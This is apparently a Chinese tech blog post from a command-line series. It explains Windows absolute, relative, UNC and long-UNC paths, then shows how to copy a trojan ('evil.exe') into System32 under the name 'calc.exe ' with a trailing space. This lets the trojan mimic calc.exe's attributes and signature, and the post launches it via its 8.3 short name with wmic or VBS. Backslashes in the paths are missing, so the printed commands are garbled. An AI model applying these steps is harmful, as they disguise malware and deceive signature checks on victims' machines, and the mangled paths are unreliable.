海阳顶端头条号,专注黑客知识普及,提高大众网络安全意识。有趣的命令行系列,这是第二十八篇。这篇文章请耐心看到最后,第三节才能写到黑客相关知识。
一、我们来解决下Windows目录的定义,以及什么是绝对目录和相对目录
在Windows下一个路径,通常表示为一个文件或目录,指定文件系统位置的,分隔符通常是斜杠(“/”),反斜杠字符(“”)或冒号(“:”),例如c:/test/1.exe。像我写的c:/test/1.exe,称之为绝对路径或是全路径,如果不包括盘符,那么就是相对路径了。因为test/1.exe相对于c:/,c:/完全可以省略,test/1.exe本来就在c:/下。
dir c:/test/1.exe和dir test/1.exe是等价的。
再补充一个斜杠和反斜杠知识:1981年,微软DOS的第一个版本发布了。MS-DOS 1.0不支持文件目录表示,实用程序命令的主要部分来自IBM,它们的命令行语法使用斜杠字符作为“开关”前缀。例如,dir / w使用宽列表格式选项运行dir命令。在版本2.0中将目录支持添加到MS-DOS时,为保持向后兼容,“/”保留为切换前缀字符。微软选择反斜线字符(“”)作为目录分隔符。
二、什么是unc目录和longunc目录
unc目录是为了表示共享目录而设的。如果要表示另一台机器的目录,微软又推出了unc目录,格式为\[server][sharename]。我们举个例子,在dos下列本机c盘的目录,我们可以用dir \127.0.0.1c$来表示。
在内网中经常使用ipc$命令的同学,已经非常了解这个unc路径知识了。如果你不了解ipc,可以看完本文再看下《有趣的命令行系列——利用IPC管道执行命令的全网最详黑客手册》这篇文章。
无论是本机目录还是unc目录,最大长度为248个字符的(也有资料说260的,大家可以自己试下)。如果一些路径超过了248怎么办,微软又推出了long unc目录,最大长度为32767。表示方法为\?UNC[server][sharename]。这样的目录表示方法,如果你一直关注我的头条号,其实你是见过的,文章在《你知道windows系统藏着一个影子吗?黑客可以把文件藏在这里》。我们用这个方法来列一下c盘目录。
三、黑客用long unc目录实现了木马的属性复制和签名伪造
具体资料在http://www.exploit-monday.com/2013/02/WindowsFileConfusion.html?m=1这里。我来简单说一下吧。我们在管理员权限的cmd下执行命令(注意calc.exe后有个空格):
type evil.exe > "\?C:WindowsSystem32calc.exe "
你把你的木马evil.exe就会copy到c:windowssystem32下,并且复制过去的evil.exe和calc.exe一样具有同样的常规属性。
甚至你用一些检查签名的工具都会发现两者签名一样。这其实是一个障眼法,欺骗了windows系统和一些签名软件,认为两者是同一个文件。我们分别以dir 和dir x来列下目录,命令分别是(dir /x 遵守dos下8.3规则,前8后3):
dir c:windowssystem32calc*.exe和dir /x c:windowssystem32calc*.exe
你会发现我们复制的evil.exe成为了calc~1.exe。所以如果你想运行你复制过去的evil.exe,就要运行:
C:WindowsSystem32CALC~1.EXE了。但是你这样运行,你会发现启动的还是原来的calc.exe,那么我们如何调用它呢?
wmic process call create C:WindowsSystem32CALC~1.exe
或是vbs调用
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "c:windowssystem32calc~1.exe"
启动后,进程名为calc~1.exe。这样你的邪恶的evil.exe就正常运行了。
老规矩,最后为了让头条机器人把文章分类到黑客领域,并且配一张好看封面图,所以结尾我又加了四个黑客识别关键词,不信你数一数这句话上有几个黑客,是不是够了四个黑客词组了?
领取专属 10元无门槛券
私享最新 技术干货